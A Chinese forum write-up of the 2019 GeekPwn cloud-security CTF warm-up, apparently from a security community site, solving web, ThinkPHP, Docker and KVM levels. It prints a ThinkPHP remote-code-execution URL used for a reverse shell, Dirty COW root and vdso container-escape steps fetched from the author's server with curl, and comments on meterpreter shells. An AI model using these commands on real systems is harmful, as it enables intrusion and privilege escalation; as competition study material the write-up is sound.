GeekPwn 云安全挑战赛之线上热身赛解题过程

Saferman / 2019-05-25 08:30:00 / 浏览数 5044 安全技术 CTF 顶(0) 踩(0)

这次是首个基于真实云平台的云安全挑战赛，整个题目是提权和逃逸的不断尝试，总共有七个题目

比赛环境覆盖 APP,Docker,KVM 和 Pysical 各个层次，七个题目如下：

层次	任务
web 网页	测试题目一
APP	题目 2(/tmp/flag.lev2.txt)
Docker	题目 3(/root/flag.lev3.txt)
KVM	题目 4(/tmp/flag.lev4.txt)
KVM	题目 5(/root/flag.lev5.txt)
Physical	题目 6(/tmp/flag.lev6.txt)
Physical	题目 7(/root/flag.lev7.txt)

题目要求：

> 除测试题外，选手置身于一个模拟的云环境中，选手的任务就是从这个仅有的 web 接口，层层渗透，获得更高的权限，用于读取指定的 flag 文件。

web 网页测试题目 1

首先 web 入口的题目的地址是

```
http://user0022:dcc16fc2@121.12.172.119:30022/public/index.php
```

打开后有个 base64 字符串，解码即可得到 flag

APP 题目 2

题目信息：

> 小明选了学校的 web 开发课程，学习了世界上最好的语言，女朋友想送他一本书作为生日礼物，她觉得《Thinking In PHP》不错，可惜有点贵。选手的任务是帮小明女朋友找到存放在 /tmp/flag.lev2.txt 中的优惠码。

可以知道题目地址是个 thinkphp 框架；直接 google 查找 thinkphp 漏洞，发现

https://learnku.com/articles/21227 的漏洞可以成功利用，利用方式如下：

```
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= ■■■■■
```

通过这个漏洞反弹 shell，EXP 如下：

```
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl+ht
```

执行 `cat /tmp/flag.lev2.txt` 得到 flag：`flag{PHP_is_The_best_language_^^5578}`

Docker 提权题目 3

题目描述

> 小明又选了一门《操作系统设计与原理》的课程，但是小明有个问题一直很疑惑，他区分不出特权用户和普通用户，选手能帮小明演示一下特权用户吗，例如帮小明读取 /root/flag.lev3.txt 中的课后作业答案。

直接使用上面一步反弹 shell 是无法读取 `/root/flag.lev3.txt`，因为权限不够。通过 whoami 可以看到是 centos 用户，这个环节是需要提权。在服务器 /tmp 目录下下载 linux-exploit-suggester.sh，通过执行得到如下信息：

```
sh ./linux-exploit-suggester.sh
…….
[+] [CVE-2017-16995] eBPF_verifier
[+] [CVE-2016-5195] dirtycow
[+] [CVE-2016-5195] dirtycow 2
```

服务器存在脏牛漏洞，使用 https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 POC。

下载 cowroot.c，在自己的服务器编译

```
gcc cowroot.c -o cowroot -pthread
```

然后在 反弹shell 中下载

```
curl -O http://154.223.145.173:8080/cowroot
```

运行得到 root 的 shell，从而可以顺利读取 `/root/flag.lev3.txt` 文件得到 flag：flag{root_in_the_docker^^1256}

Docker 逃逸题目 4

题目 4 的描述如下：

> 小明同学在获得了 root 权限之后，他认为自己获得了至高无上的权限，非常开心的在 Linux 的世界中畅游，直到他发现 /root/message 文件中写着这个世界的秘密。意识到自己只是在容器中游玩，小明非常想让选手帮他看一下外面的风景，例如帮小明读取一下存在容器外部 /tmp/flag.lev4.txt 中的秘密。

读取 `/root.message`，其实没什么用就是告诉你：你在 Docker 里面，外面是 KVM 虚拟环境，需要选手逃逸 Docker。

没想到这题也是可以继续用脏牛 POC，https://github.com/scumjr/dirtycow-vdso，即利用 dirtycow 内核漏洞修改 vdso，对内核宿主机进程进行 hook，造成 docker 逃逸

在自己的服务器编译好，然后在目标机器执行：

```
curl http:// ■■■■■ IP/0xdeadbeef -o 0xdeadbeef
chmod +x 0xdeadbeef
./0xdeadbeef ■■■■■ IP: ■■
```

逃逸之后读取 `/tmp/flag.lev4.txt` 得到 flag：flag{jump_outsize_of_your_own^^3356}

KVM 提权题目 5

题目描述：

> 小明同学已经被选手高超的技术所折服了，决定好好学习，励志从事信息安全行业，但是这时候交期末大作业的时候到了，小明尝试了多次还是做不出来。小明非常想让 /root/flag.lev5.txt 中的大作业答案。

这题本意是想考察提权，但是题目 4 的 Docker 逃逸出来的用户有 root 权限，直接可以查看 `/root/flag.lev5.txt` 得到 flag：flag{root_is_very_powerfull^^4987}

题目 6 和题目 7 好像没有队伍做出来，题目 7 应该是个 0day 了。

参考链接

https://github.com/mtalbi/vm_escape

https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html

https://github.com/perfectblue/ctf-writeups/blob/master/RealWorldCTF-2018/kidvm.md

https://opensource.com/article/18/5/how-find-ip-address-linux

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

上一篇：APT28分析之Seduploa... 下一篇：Facebook 赏金$7,500...

1. 2 条回复

三顿 2019-05-25 19:47:51

反弹shell咋做的？？python调用/bin/bash或者/bin/sh没法用啊，我用的perl非调用bash sh，但是很不稳定

0 回复Ta


老锥 2019-05-27 20:16:40

@三顿 使用msf反弹python tcp meterpreter shell很稳定

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板